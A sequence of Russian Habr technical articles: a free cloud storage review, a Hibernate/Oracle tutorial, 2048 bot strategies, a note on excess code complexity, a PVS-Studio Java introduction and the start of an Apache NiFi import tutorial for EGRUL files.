OneDrive](http://onedrive.com) — бесплатно дают 15 гигабайт, можно довести до 23 гигабайт (3 за автозагрузку фотографий, 5 за приведенных клиентов).*
Бесплатное место при регистрации урезали до 5 гигабайт и всё ещё можно получить 10 гигабайт за приглашенных друзей. Хотя у меня по реферральной ссылке получилось зарегистрироваться с трудом. Да и вообще с трудом зарегистрировался. Сперва пробовал через MS Edge — оно мне показывало капчу с какими-то крабами и требовало повернуть правильно. 20 из 20 промахов на двух попытках. Звуковая капча не прогрузилась. В итоге зарегистрировал через файфокс — тут показывало капчу «найди змейку» и она сработала с первого раза.
С webdav под линукс ничего не изменилось, до сих пор:
`/sbin/mount.davfs: Mounting failed.
302 Found`
Монтирование через rclone работает нормально, при копировании файлов систему не подвешивает (в отличие от яндексов всяких).
#### ADrive.com
*[
ADrive.com](http://adrive.com) — бесплатно дают 50 гигабайт, но на этом для бесплатного пользователя почти всё ограничивается (минимальная подписка — 100 гигабайт за 25$ в год). Зато у подписчиков есть не только WebDAV, но и scp, ftp, rsync. Именно потому и упоминаю в списке этот сервис.*
Сервис жив, но убрали бесплатный тариф. Цены же платных подписок великоваты в сравнении с другими сервисами, за терабайт просят 250 долларов.
#### Облако Mail.ru
*[
cloud.mail.ru](http://cloud.mail.ru). Бесплатно предлагают 25 гигабайт, увеличение только за деньги. Хотя, думаю, у многих там есть 100 гигабайт или даже терабайт (я во время написания статьи наводил у себя в облаках порядок и нашел именно терабайт на mail.ru :)).*
Живы, куда они денутся. На бесплатном аккаунте сейчас дают только 8 гигабайт.
Но для владельцев терабайта у mail.ru появилось несколько приятных предложений.
Во-первых, клиент О: Диск, который позволяет подключить облако как диск в windows. И работает неплохо.
Во-вторых, c mail.ru нормально работает rclone.
В-третьих, за 750 рублей в год можно поднять ограничение на размер файла (с 2ГБ до 32ГБ) и добавить официальную поддержку webdav (только платить надо с телефона из приложения, из браузера минимальный тариф — 1500).
**Update**: на ozon, оказывается, можно ещё [купить тариф на 8 гигабайт](https://www.ozon.ru/product/kod-dostupa-k-servisu-oblako-mail-ru-8-gb-na-1-god-193913806/?asb2=y2M-2BWVqoKo-99tQ0brp-KaqEhwk3eLdgUz2j1y-Oaszb0TS7unBqfJyYLR8SOg&keywords=mail.ru+%D0%BE%D0%B1%D0%BB%D0%B0%D0%BA%D0%BE&sh=87T9DQAAAA) за 300 рублей с копейками, который снимет ограничения бесплатного аккаунта.
Из интереса проверил, можно ли на несколько лет вперёд закупиться. Похоже, что нельзя, два промокода оно принимает, но стакает их не по времени (как вандрайв), а по объёму. Срок остаётся всё тот же год.
Ещё неплохо работает дедупликация. Если не параноить и закачивать фильмы-музыку без шифрования, то оно может закачиваться очень быстро и, при этом, не занимать место в облаке. С другой стороны — это значит, что mail.ru читает ваши файлы (впрочем, как и любой другой облачный провайдер). Хотя я не слышал пока про блокировки аккаунтов за хранение музыки-фильмов. В отличие от западных хостеров.
### Безлимитные google disk и onedrive с ebay
Периодически советовали покупать на ebay «пожизненные» аккаунты google и onedrive с безлимитом или 5ТБ места одним куском. Стоила эта радость недорого, в районе 5$ и, какое-то время, даже неплохо себя показывала (если учитывать, что ваши файлы будет смотреть не только хостер, но и админ того заведения, кому аккаунт принадлежит). Но последние несколько лет сильно выросло количество блокировок, потому ещё меньше смысла стало связываться с такими предложениями.
### Что появилось из заслуживающего внимания
Сегодня есть куча сервисов, которые предлагают десятки и сотни гигабайт бесплатно, но эти гигабайты обычно слабо пригодны к использованию. У кого-то загрузка только с телефона ([degoo](https://degoo.com/)), кто-то режет скорость скачивания по заполнению ([terabox](https://www.terabox.com/)).
---
На этом фоне интересно выглядит [blomp](https://www.blomp.com/) — 20 гигабайт сразу и можно разогнать до 200 гигабайт инвайтами. Так же можно работать с ним через rclone. Впрочем, как диск его подключить не получилось, но просто закидывать файлы через rclone copy получается нормально. Ещё на бесплатном аккаунте требует ежемесячного логина — и непонятно, считается ли подключение через rclone логином.
Непонятно только, сколько они протянут — цены довольно низкие, функциональность за границами файлопомойки практически никакая, жалобы на тормозной саппорт…
Но если кому интересно — есть [документация по настройке rclone](https://blompuser.github.io/blomp-cloud-storage-docs/). На своих форумах саппорт тоже советы давал, но там очень базово — по ссылке более подробно.
---
<https://getspace.us/> — 50 гигабайт, официальный webdav, работает. Говорят, что у них хранилище на базе nextcloud.
---
<https://www.storj.io/> — 150 гигабайт хранилища, 150 гигабайт трафика в месяц (формулировки не везде ясные, но вроде как скачивание имееется ввиду). Работает с rclone, есть [официальная инструкция](https://docs.storj.io/dcs/how-tos/sync-files-with-rclone/). Сам не пробовал.
### Итоги
Выжила без оговорок только половина сервисов. Но многие уменьшили лимиты для бесплатных аккаунтов. Четверо живы, но с оговорками. Либо не зарегистрироваться уже, либо так просто не залогиниться. И двое совсем померли.
Ощутимо лучше стал mail.ru (для владельцев халявного терабайта). Onedrive в связке с rclone стал пригоден к использованию под линуксом — особенно учитывая то, что это один из самых дешевых облачных хостингов, если семейную подписку брать (6ТБ за 3000 рублей в год).
Основной же вывод — держитесь больших провайдеров, потому что у них гораздо меньше шансов на то, что пропадут или серьёзно изменят условия. Могут для новых пользователей всё ухудшить (тот же mail.ru с терабайта до 8 гигабайт скатился), но старых пользователей обычно не трогают (пока те более-менее активны). Это, конечно, было очевидно, но дополнительное подтверждение никогда не помешает. | https://habr.com/ru/post/651609/ | null | ru | null |
# Hibernate для самых маленьких и не только
Доброго всем времени суток! При написании программы, которая так или иначе будет взаимодействовать с базой данных, пользуются разными средствами. Это и старый добрый [jdbc](http://ru.wikipedia.org/wiki/Java_Database_Connectivity), также применяют: [EclipseLink](http://ru.wikipedia.org/wiki/EclipseLink),[TopLink](http://www.oracle.com/technetwork/middleware/toplink/overview/index.html), iBatis (уже [MyBatis](http://www.mybatis.org/)), [Spring Framework](http://www.springsource.org/) и конечно же герой нашей статьи — [Hibernate](http://www.hibernate.org/). Конечно я здесь перечислил не все средства работы с базой данных, но постарался указать самые распространенные. В данной статье будет показано, как при помощи Hibernate вызывать хранимые процедуры, маппить как таблицы, так и запросы к классам. В качестве подопытной базы данных возьмем Oracle.
Подготовим все необходимое для экспериментов. Начнем с базы данных. Для начала создадим 3 таблички, над которыми мы и будем практиковаться.
```
CREATE TABLE book
(
id NUMBER NOT NULL,
name VARCHAR2 (100 BYTE) NOT NULL,
description VARCHAR2 (1000 BYTE) NOT NULL,
CONSTRAINT pk$book_id PRIMARY KEY (id)
)
CREATE TABLE student
(
id NUMBER NOT NULL,
name VARCHAR2 (100 BYTE) NOT NULL,
CONSTRAINT pk$student_id PRIMARY KEY (id)
)
CREATE TABLE catalog
(
id_student NUMBER NOT NULL,
id_book NUMBER NOT NULL
)
```
Теперь создадим функцию. которая будет нам возвращать название книги по ее id, пример глупый, но зато будет показывать принцип вызова функции с входным числовым параметром и выходным — строковым.
```
CREATE OR REPLACE
FUNCTION get_book_name_by_id (p_id IN NUMBER)
RETURN VARCHAR2
IS
v_name VARCHAR2 (100);
BEGIN
SELECT name
INTO v_name
FROM book
WHERE id = p_id;
RETURN v_name;
EXCEPTION
WHEN NO_DATA_FOUND
THEN
RETURN 'ну нет такой книги!!';
END;
```
И также в качестве эксперимента создадим простую процедуру сохранения в БД, у которой будут как входные параметры, так и выходной.
```
CREATE OR REPLACE
PROCEDURE save_book (p_id IN OUT NUMBER,
p_name IN VARCHAR2,
p_descr IN VARCHAR2)
IS
BEGIN
IF p_id > 0
THEN
UPDATE book
SET name = p_name, description = p_descr
WHERE id = p_id;
ELSE
SELECT catalog_seq.NEXTVAL INTO p_id FROM DUAL;
INSERT INTO book
VALUES (p_id, p_name, p_descr);
END IF;
END;
```
Теперь перейдем к классам на Java.
Отобразим наши 3 таблицы базы данных в классах следующим образом:
```
@Entity
@Table
public class Student implements Serializable {
private static final long serialVersionUID = -5170875020617735653L;
@Id
@GeneratedValue(strategy = GenerationType.AUTO, generator = "my_entity_seq_gen")
@SequenceGenerator(name = "my_entity_seq_gen", sequenceName = "catalog_seq")
private long id;
@Column
private String name;
@OneToMany(mappedBy = "student", fetch = FetchType.LAZY)
private Set bookList;
// здесь идет реализация методов getter, setter, hashCode(), equals(), toString()
}
```
Немного пояснений по коду: * если у вас название класса не совпадает с названием таблицы, то например пишем так: [Table](https://habrahabr.ru/users/table/)(name = «STUDENT»);
* одно из требований фреймворка — у каждой таблицы должен быть id, также если название поля id таблицы и название нашей переменной не совпадают, тогда аннотация будет выглядить так: [Id](https://habrahabr.ru/users/id/) @Column(name=«id таблицы в базе»);
* аннотациями @GeneratedValue и @SequenceGenerator мы определяем стратегию генерации уникального идентификатора, в данном случае мы говорим, что при сохранении информации в базу данных, мы берем число из sequence с названием «catalog\_seq»;
* так как у нас один студент может иметь несколько книг, то отобразим это при помощи аннотации таким образом @OneToMany(mappedBy = «student», fetch = FetchType.LAZY), где mappedBy = «student» — это имя поля в классе Book(смотри ниже), а FetchType.LAZY — говорит нам о том, что коллекцию
```
Set bookList
```
мы будем загружать данными только по требованию.
Маппинг следующих 2 таблиц БД будет выглядеть так:
```
@Entity
@Table
public class Book implements Serializable {
private static final long serialVersionUID = 1L;
@Id
@Column(name="ID")
@GeneratedValue(strategy = GenerationType.AUTO, generator = "my_entity_seq_gen")
@SequenceGenerator(name = "my_entity_seq_gen", sequenceName = "catalog_seq")
private long id;
@Column(name="NAME",unique = true, nullable = false, length = 100)
private String name;
@Column(name="DESCRIPTION",unique = true, nullable = false, length = 100)
private String description;
@ManyToOne(fetch = FetchType.LAZY,optional=true)
@JoinTable(name = "CATALOG", joinColumns = @JoinColumn(name = "ID_BOOK"), inverseJoinColumns = @JoinColumn(name = "ID_STUDENT"))
private Student student;
// здесь идет реализация методов getter, setter, hashCode(), equals(), toString()
}
```
Ограничения для полей можно задавать прямо в аннотации, это делается следующей строкой @Column(name=«NAME»,unique = true, nullable = false, length = 100). Аннотациями @ManyToOne и @JoinTable(name = «CATALOG») мы говорим, что таблица Book и таблица Student имеют связь «многие-ко-многим» через таблицу Catalog, следовательно и все изменения в Book и в Student, автоматом будут применяться и в таблице Catalog.
Ну вот, мы закончили с маппингом таблиц, и теперь перейдем к непосредственной работе с базой данных.
Извлечение данных с одновременным заполнением коллекции можно производить разными способами:
1. При помощи HQL (Hibernate Query Language) запросов
```
List book = (List)session.createQuery("from Book order by name").list();
```
2. при помощи SQL-запросов
```
List book = (List)session.createSQLQuery("select ID, DESCRIPTION, NAME from book order by NAME")
.addScalar("id",Hibernate.LONG).addScalar("name").addScalar("description")
.setResultTransformer(Transformers.aliasToBean(Book.class)).list();
```
3. при помощи Criteria
```
List book=(List)session.createCriteria(Book.class).createAlias("student", "st").add(Restrictions.eq("st.name", "Maxim")).list();
```
Перейдем к работе с хранимыми процедурами. Для того, чтобы вызвать функцию, которая по id вернет нам название книги, выполним следующие действия:
```
String bookName = (String)session.createSQLQuery("{? = call get_book_name_by_id (:id)}").setLong("id",1).uniqueResult();
```
Допустим у нас на сервере нет таблицы с названием Student, а есть только функция, которая возвращает курсор:
```
FUNCTION get_all_students
RETURN SYS_REFCURSOR
IS
l_cur SYS_REFCURSOR;
BEGIN
OPEN l_cur FOR
SELECT *
FROM student
ORDER BY 1;
RETURN l_cur;
END;
```
тогда маппинг будем проходить следующим образом, вместо аннотации `@Table(name="STUDENT")` напишем
```
@NamedNativeQuery(name="getAllStudent",query="{? = call get_all_students}", callable=true, resultClass=Student.class)
```
А вызов этой функции будет следующим:
```
List student = (List) session.getNamedQuery("entity").list();
```
Ну, а чтобы вызвать нашу процедуру save\_book проделаем следующие манипуляции:
```
CallableStatement st = session.connection().prepareCall("{call save_book(?,?,?)}");
st.setLong(1,0);
st.setString(2, "Золотой ключик, или Приключения Буратино");
st.setString(3,"повесть-сказка Алексея Николаевича Толстого");
st.registerOutParameter(1, java.sql.Types.NUMERIC);
st.execute();
System.out.println(st.getLong(1));
```
Как Вы наверно успели заметить, при написании команд для обращения к базе данных и заполнением коллекции, использовалось слово session. В нашем случае это слово указывает на главный интерфейс между нашим Java-приложением и фреймворком Hibernate, то есть org.hibernate.Session session. Но для начала нам необходимо воспользоваться еще одним основополагающим и важным интерфейсом — SessionFactory. SessionFactory — это глобальная фабрика, ответственная за конкретную базу данных. Чтобы получить эту фабрику нам необходимо получить экземпляр класса org.hibernate.cfg.Configuration. Делается это так:
```
SessionFactory sessions = new Configuration().configure().buildSessionFactory();
```
Где Configuration().configure().buildSessionFactory() парсит файлик с названием hibernate.cfg.xml, который находится рядом с вызываемой программой, конечно если не указан путь. Приведем файл конфигурации, в котором показана настройка соединения к базе данных и отображение наших таблиц:
```
xml version="1.0" encoding="utf-8"?
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:@localhost:port:baseName
username
password
org.hibernate.dialect.Oracle10gDialect
true
```
И теперь, когда мы имеем фабрику, в которой есть вся необходимая конфигурация (коннект к базе через пул, маппинг/отображение таблиц и др.) мы можем работать с Session
```
Session session = sessions.openSession();
```
Работать с транзакциями можно так: `session.beginTransaction();` и соответственно `session.getTransaction().commit();`
Вроде бы все. Конечно я не все смог осветить, но думаю для быстрого старта этого хватит. | https://habr.com/ru/post/132385/ | null | ru | null |
# Сравнение стратегий игры 2048
2048 — игра появившаяся в 2014ом году и быстро ставшая популярной убивалкой времени. Простые правила игры только подталкивают игроков к созданию клонов, ботов и выигрышных стратегий. В том числе и на Хабре. ([Клон](https://habrahabr.ru/post/249371/), [бот](https://habrahabr.ru/sandbox/80123/), [стратегия](https://habrahabr.ru/post/223045/)) В этой статье рассказывается про удобный инструмент оценки стратегий игры и примеры его работы на нескольких ботах.
Сам инструмент состоит из трёх частей. Первая — это движок на C++. С ним можно играть и вручную в консоли. Работает он по следующему алгоритму:
1. Выбирает две случайные ячейки на игровом поле, размещает в каждой из них по двойке и выводит координаты этих ячеек.
2. Пока игрок не сделает тупиковый ход (ход после которого игровое поле не меняется) движок выполняет цикл:
1. Прочитать ход игрока.
2. Выполнить этот ход на игровом поле.
3. Вывести координату ячейки в которой появилось новое случайное значение (двойка или четвёрка) и само это значение.
3. По окончанию игры выводит количество ходов, счёт и время игры в миллисекундах.
Для симуляции игрового поля движок использует класс из *board.hpp*. Объявление этого класса с комментариями.
```
template class A{ // Игровое поле размером n
private:
int left\_adder(int&, int); // 16 функций необходимых для работы функции move
int left\_compressor(int&, int); // Внутри классов нельзя создавать namespace
int left\_move\_row(int); // Была попытка создать 4 вложенных класса
int left\_move(); // с четырьмя статическими функциями в каждом,
int right\_adder(int&, int); // но заметных преимуществ в таком решении не было
int right\_compressor(int&, int); //
int right\_move\_row(int); //
int right\_move(); //
int up\_adder(int&, int); //
int up\_compressor(int&, int); //
int up\_move\_column(int); //
int up\_move(); //
int down\_adder(int&, int); //
int down\_compressor(int&, int); //
int down\_move\_column(int); //
int down\_move(); //
std::pair random(); // Возвращает координаты пустой ячейки в которой появилась случайная 2 или 4
void out() const; // Выводит содержимое матрицы a. Выполняется при вызове move(0)
unsigned score = 0; // Счёт
bool deadlock = false; // Изменилось ли поле после последнего хода
static std::mt19937 rand; // Генератор случайных чисел
std::array,n> a; // Матрица хранящая содержимое каждой ячейки поля
public:
A(); //
std::vector init(); // Вызывается в самом начале и возвращает координаты двух ячеек с двойками
std::vector move(int); // Делает ход
unsigned get\_score() const; // Возвращает счёт
};
```
Вторая — это бот, стратегию которого необходимо оценить. Он читает то, что выводит движок (для синхронизации игровых полей движка и бота), а выводит ход который тестируемая стратегия считает наилучшим. Бот может быть написан на любом языке. Единственное ограничение — нельзя делать ход в тупиковом направлении.
И третья часть — это простой bash-скрипт, который "соединяет" первых два компонента и выводит статистику в читаемом виде.
Примеры ботов
-------------
Все 4 бота написаны на питоне при помощь модуля *board* и отличаются только оценочной функцией. В оценочную функцию передаётся один аргумент — текущее состояние игрового поля. Для определения доступных ходов у игрового поля есть метод *deadlock*. С движком общается функция *main*.
**1. Случайный выбор**
Бот делает случайный доступный ход. Этот бот сделан, только чтобы сравнить его эффективность с эффективностью остальных ботов.
Средний результат: 1250
**Исходный код**
```
import random
import board
def f(a):
l = [1, 2, 3, 4]
ans = random.choice(l)
while a.deadlock(ans) and l != []:
ans = random.choice(l)
del l[l.index(ans)]
if l == [] and a.deadlock(ans):
ans = 0
return ans
board.main(f)
```
**2. Перемещения по кругу**
Первым своим ходом бот делает ход вверх, а потом выбирает следующий ход по часовой стрелке пропуская тупиковые.
Средний результат: 2900
**Исходный код**
```
import board
def f(a):
global h
ans = h % 4 + 1
while a.deadlock(ans) and ans != h:
ans = ans % 4 + 1
h = ans
return h
h = 0
board.main(f)
```
**3. Всё в один угол**
Первым своим ходом бот делает ход вверх. После каждого хода вверх выбирает ход вправо, а после каждого хода вправо ход вверх. Если выбранный ход тупиковый, то бот повторяет предыдущий ход. Если и предыдущий ход является тупиковым, то бот пробует ход влево и в крайнем случае ход вниз.
Средний результат: 3900
**Исходный код**
```
import board
def f(a):
global h
if h == 1:
l = [2, 1]
else:
l = [1, 2]
l += [4, 3, 0]
while a.deadlock(l[0]) and l[0] != 0:
l = l[1:]
h = l[0]
return h
h = 0
board.main(f)
```
**4. Максимум очков**
Этот бот проверяет ходы во всех четырёх направлениях и выбирает тот из них, который приносит максимум очков.
Средний результат: 4000
**Исходный код**
```
import board
def f(a):
max = 0
ans = 0
for i in range(1, 5):
if not a.deadlock(i):
b = a.copy()
t = b.move(i)
if (t >= max):
ans = i
max = t
return ans
board.main(f)
```
Статистика
----------
Все боты проверялись 1000 раз в одинаковых условиях.
| Номер бота | Средн. шаги | Мин. шаги | Макс. шаги | Средн. cчёт | Мин. счёт | Макс. счёт | Средн. время | Мин. время | Макс. время |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | 131 | 50 | 266 | 1259 | 240 | 3216 | 90 | 60 | 242 |
| 2 | 233 | 57 | 647 | 2885 | 292 | 11296 | 108 | 52 | 234 |
| 3 | 311 | 98 | 859 | 3905 | 740 | 14700 | 155 | 78 | 363 |
| 4 | 317 | 70 | 826 | 4027 | 412 | 13292 | 776 | 116 | 2692 |
Все исходники на [Github](https://github.com/srbgd/2048) | https://habr.com/ru/post/317370/ | null | ru | null |
# Избыточная сложность
Слышал такое выражение, что для того чтобы стать программистом, нужно быть ленивым. Но иногда лень в программировании приводит к возникновению ужасного технического долга. В своей заметке об SRP я упоминал, что нарушение этого принципа может привести к увеличению сложности или даже к умножению ее. Один из моих коллег произвел на свет интересный пример, и я решил с его помощью продемонстрировать как это выглядит.
Давайте определимся, что же такое эта избыточная сложность. Но для начала поговорим о ее противоположности, о сложности исходящей от требований. Для примера есть требования посчитать зарплату сотрудника из почасовой ставки и отработанных часов. И, если сотрудник работает в компании больше пяти лет, начислить бонус. Это «если» исходит из требований, и избежать его нельзя. В той или иной форме оно станет элементом сложности в коде приложения, скорее всего в виде условного оператора «if». Но иногда сложность не исходит из требований, а вытекает из подхода разработчика к решению задачи.
Оператор «if», паттерны такие как «стратегия», полиморфные методы — не полный список приемов программирования способных содержать эту избыточную сложность. Лично я, к слову, всегда против применения разработчиками паттернов просто потому что они это могут, а не для решения конкретной проблемы.
Вот простой пример. Он может показаться выдуманным, но это не так. Он даже не упрощен, именно в таком виде я встретил его во время code review пару лет назад. В двух местах в коде были вызовы одной и той же функции но с разным булевым параметром:
```
// first place
doSomething(true);
// second place
doSomething(false);
```
Подобные конструкции всегда выглядят подозрительно и эта функция меня не разочаровала. Этот параметр передавался с единственной целью, чтобы внутри этой функции быть проверенным:
```
doSomething(flag: boolean): void {
if(flag) {
// do first thing
} else {
// do second thing
}
}
```
Эту проверку можно описать как «если меня вызвали из места А, делаем одно, иначе меня вызвали из места Б, делаем другое». Этот флаг, этот «if» и есть то, о чем вся эта заметка. Сложность не исходящая от бизнес-требований. Естественно, я порекомендовал изменить код следующим образом:
```
// first place
doFirstThing();
// second place
doSecondThing();
//method is split into 2 parts each having their own responsibility
doFirstThing(): void {
// do first thing
}
doSecondThing(): void {
// do second thing
}
```
Всё, избыточной сложности больше нет. Именно тут разработчик должен не полениться и написать еще одну сигнатуру функции.
Здесь можно воскликнуть: «Но это же всего один 'if'», или: «Это нарушение очевидно, кто вообще так код пишет?». И тут на сцену выходит второй пример. В нём видно, что увидеть нарушение может быть заметно сложнее, а также что стоимость этого нарушения может составлять больше чем всего один «if». Как и в первом примере, функция используется в двух местах:
```
// first place
checkValidity(obj);
// second place
checkValidity(arrayOfObjs);
```
Метод, как следует из его имени, проверяет валидность объекта. Однако было неочевидно, что он также может проверять валидность массива объектов. Я подправил имена переменных, чтобы сделать акцент на этом нарушении. Метод выглядит вот так:
```
checkValidity(parm: MyType | MyType[]): void {
if(Array.isArray(parm)) {
parm.forEach(p => checkValidity(p));
} else {
// here the object gets checked
// and conditional exception is thrown
}
}
```
Вот оно. Один «if» становится множеством «if»-ов. Если массив содержит 100 объектов, то этот «if» выполнится 101 раз. А на реальных данных у нас там могло быть 30 тысяч объектов, и это уже внушительный урон производительности.
Очевидно, следуя принципу единственной ответственности, этот метод нужно порефакторить так, чтобы получилось 2 метода:
```
checkItemsValidity(parms: MyType[]): void {
parms.forEach(p => checkItemValidity(p));
}
checkItemValidity(parm: MyType): void {
// here the object gets checked
// and conditional exception is thrown
}
```
Соотвественно также надо поправить точки вызова.
Занятно, что примеры, которые я приводил в заметке про SRP, вели к увеличению SLOC, эти же примеры, наоборот, ведут к небольшому его уменьшению, попутно с ожидаемым улучшением качества кода.
На этом всё. Всего лишь пара простых примеров для демонстрации важнейшего из принципов хорошего кода. | https://habr.com/ru/post/457018/ | null | ru | null |
# Знакомство со статическим анализатором PVS-Studio для Java
На протяжении многих лет команда PVS-Studio развивает одноименный статический анализатор. На данный момент анализатор представляет собой сложное программное решение и предоставляет возможность анализа таких языков программирования, как C, C++, C# и Java на платформах Windows, Linux и macOS. Совсем недавно в ряд поддерживаемых языков программирования была добавлена поддержка языка Java. Если анализатор PVS-Studio за долгие годы уже зарекомендовал себя среди C++ и C# разработчиков, то для Java-аудитории PVS-Studio еще новичок. Многие даже не слышали про анализатор, а кто слышал, тот мало знаком со всеми его возможностями. Поэтому в этой статье хотелось бы познакомить вас с PVS-Studio Java, рассказать о способах запуска и его возможностях.
Общие сведения
--------------
Статический анализатор кода PVS-Studio Java состоит из двух основных частей: ядра, выполняющего анализ, и плагинов для интеграции в сборочные системы (Gradle, Maven) и IDE (IntelliJ IDEA).
Плагины получают структуру проекта (наборы исходных файлов и classpath), после чего передают эту информацию в ядро. Кроме того, плагины отвечают за развёртывание ядра для анализа — оно будет автоматически скачано при первом запуске.
Также есть возможность запускать анализатор напрямую, перечислив исходники и classpath.
Анализ можно проводить, если ваш компьютер удовлетворяет следующим системным требованиям:
* Операционная система: Windows, Linux, macOS;
* Минимальная версия Java для запуска анализатора: Java 8 (64-битная). Примечание: анализируемый проект может использовать любую версию Java;
* Минимальная версия IntelliJ IDEA: 2017.2.
Плагин для Maven
----------------
Если проект, над которым Вы работаете, основан на сборочной системе Maven, то можно воспользоваться плагином pvsstudio-maven-plugin. Для этого необходимо добавить в проектный файл pom.xml следующее:
```
pvsstudio-maven-repo
http://files.viva64.com/java/pvsstudio-maven-repository/
com.pvsstudio
pvsstudio-maven-plugin
{VERSION\_PVS\_JAVA}
text
path/to/output.txt
....
```
Перед тем, как запустить анализ, необходимо ввести лицензионные данные:
```
mvn pvsstudio:pvsCredentials "-Dpvsstudio.username=USR" "-Dpvsstudio.serial=KEY"
```
После этого информация о лицензии будет сохранена в *%APPDATA%/PVS-Studio-Java/PVS-Studio.lic* в ОС Windows или в *~/.config/PVS-Studio-Java/PVS-Studio.lic* в macOS и Linux.
После этого можно запустить анализ:
```
$ mvn pvsstudio:pvsAnalyze
```
В блоке можно производить настройку анализатора. Список всех настроек можно посмотреть [здесь](https://www.viva64.com/ru/m/0044/).
Плагин для Gradle
-----------------
Если проект, над которым Вы работаете, основан на сборочной системе Gradle, то можно воспользоваться плагином pvsstudio-gradle-plugin. Для этого необходимо добавить в проектный файл build.gradle следующее:
```
buildscript {
repositories {
mavenCentral()
maven {
url uri('http://files.viva64.com/java/pvsstudio-maven-repository/')
}
}
dependencies {
classpath group: 'com.pvsstudio',
name: 'pvsstudio-gradle-plugin',
version: '{VERSION_PVS_JAVA}'
}
}
```
```
apply plugin: com.pvsstudio.PvsStudioGradlePlugin
pvsstudio {
outputType = 'text'
outputFile = 'path/to/output.txt'
....
}
```
Перед тем, как запустить анализ, необходимо ввести лицензионные данные:
```
./gradlew pvsCredentials "-Ppvsstudio.username=USR" "-Ppvsstudio.serial=KEY"
```
После этого информация о лицензии, также, как и с Maven плагином, будет сохранена в *%APPDATA%/PVS-Studio-Java/PVS-Studio.lic* в ОС Windows или в *~/.config/PVS-Studio-Java/PVS-Studio.lic* в macOS и Linux.
После этого можно запустить анализ:
```
$ ./gradlew pvsAnalyze
```
В блоке 'pvsstudio' можно производить настройку анализатора. Список всех настроек можно посмотреть [здесь](https://www.viva64.com/ru/m/0044/).
Плагин для IntelliJ IDEA
------------------------
Анализатор PVS-Studio Java можно также использовать в виде плагина к IntelliJ IDEA. В таком случае разбор структуры проекта производится средствами этой IDE, а плагин предоставляет удобный графический интерфейс для работы с анализатором.
Плагин PVS-Studio для IDEA можно установить из:
* [официального репозитория плагинов JetBrains](https://plugins.jetbrains.com/plugin/12263-pvs-studio);
* из репозитория на сайте viva64.com;
* через установщик PVS-Studio для Windows, доступный на [странице загрузки](https://www.viva64.com/ru/pvs-studio-download/).
После того, как Вы установили плагин, необходимо ввести лицензионные данные:
1) Analyze → PVS-Studio → Settings
2) Вкладка Registration:
Теперь можно запустить анализ текущего проекта:
Лицензирование
--------------
Анализатор PVS-Studio ориентирован на команды разработчиков и по сути является проприетарным B2B продуктом. Чтобы ознакомиться с возможностями анализатора, вы можете [запросить триальный ключ](https://www.viva64.com/ru/pvs-studio-download/).
Если вы развиваете открытые проекты, или, например, являетесь студентом, то вы можете воспользоваться одним из бесплатных [вариантов](https://www.viva64.com/ru/b/0614/) лицензирования PVS-Studio.
Подавление ложных предупреждений
--------------------------------
Для борьбы с ложными срабатываниями в анализаторе предусмотрен набор различных механизмов:
1. При помощи специальных комментариев в коде:
```
void f() {
int x = 01000; //-V6061
}
```
2. При помощи [suppress файла](https://www.viva64.com/ru/m/0032/#ID0EXNAI).
3. При помощи аннотаций @SuppressWarnings(....)
Анализатор знает о некоторых аннотациях и может не выдавать предупреждения на код, который уже был размечен. Например:
```
@SuppressWarnings("OctalInteger")
void f() {
int x = 01000;
}
```
Заключение
----------
То, что мы сейчас рассмотрели — только малая часть того, о чем можно было рассказать. Например, существует возможность интеграции с SonarQube и так далее. PVS-Studio Java — молодое направление, которое активно развивается:
* добавляется новая функциональность,
* расширяются возможности,
* добавляются и совершенствуются диагностические правила,
* и многое другое.
Чтобы полностью изучить существующие возможности анализатора и в дальнейшем не упустить появление новых, читайте [блог](https://www.viva64.com/ru/b/) PVS-Studio.
[](https://habr.com/en/company/pvs-studio/blog/462267/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Maxim Stefanov. [Get to Know the PVS-Studio Static Analyzer for Java](https://habr.com/en/company/pvs-studio/blog/462267/) | https://habr.com/ru/post/462275/ | null | ru | null |
# Импорт ЕГРЮЛ ФНС средствами Apache NiFi. Шаг 1 — загрузка файлов по HTTPS
В одном из проектов возникла необходимость перевести процессы импорта данных сторонних систем на микросервисную архитектуру. В качестве инструмента выбран Apache NiFi. В качестве первого подопытного выбран импорт ЕГРЮЛ ФНС.
Данные ЕГРЮЛ публикуются в виде XML-файлов, упакованных в ZIP-архивы. Архивы ежедневно выкладывают на ресурс `https://ftp.egrul.nalog.ru/` в отдельный каталог для соответствующей даты. Для доступа выдается ключ #PKCS12.
Задача, которую необходимо решить с помощью NiFi — загрузка файлов с ресурса ФНС и подготовка загруженных данных для импорта в наши сервисы. В данной статье описан способ реализации загрузки файлов.
Источник данных
===============
Получение данных из ЕГРЮЛ осуществляется в рамках услуги ФНС «Интеграция и доступ к базам данных ЕГРЮЛ и ЕГРИП». Описание модели взаимодействия представлено [здесь](https://www.nalog.ru/rn78/service/egrip2/egrip_vzayim/).
Так выглядит ресурс ФНС, с которого требуется загрузить файлы.
Каталоги с суффиксом FULL — это выгрузки полного ЕГРЮЛ на начало соответствующего года. Остальные каталоги — это ежедневные обновления в ЕГРЮЛ. Нас интересует загрузка ежедневных обновлений.
Настройка потока в Apache NiFi
==============================
Задача потока — собрать список файлов каталога с вчерашней выгрузкой, получить эти файлы и разархивировать их.
Используя процессоры NiFi это можно выполнить цепочкой следующих операций:
1. Создать FlowFile, который содержит ссылку на требуемый каталог
2. Получить содержимого каталога в виде HTML
3. Извлечь из полученного HTML ссылки на файлы, опубликованные в каталоге
4. Скачать файлы
5. Распаковать файлы
Создание FlowFile
-----------------
Для создания *FlowFile* используется процессор *GenerateFlowFile*.
**Скриншоты процессора GenerateFlowFile**
Он запускается каждые 24 часа и создает *FlowFile* с атрибутом *fnsEgrulURL*. В атрибут записывается ссылка на каталог с вчерашней выгрузкой вида `https://ftp.egrul.nalog.ru/?dir=EGRUL/14.04.2020`. Это выполняется с помощью выражения на *NiFi Expression Language*:
```
${literal('https://ftp.egrul.nalog.ru/?dir=EGRUL/'):append(${now():toNumber():minus(86400000):format('dd.MM.yyyy')})}
```
Т.е. берется текущая дата и преобразуется в числовое представление даты. Из него вычитается 86400000 миллисекунд. Результат преобразуется в строковое представление даты в формате dd.MM.yyyy. Полученная дата добавляется к постоянной части ссылки.
На выходе получаем*FlowFile* следующего вида:
**Скриншоты FlowFile**
Получение содержимого каталога
------------------------------
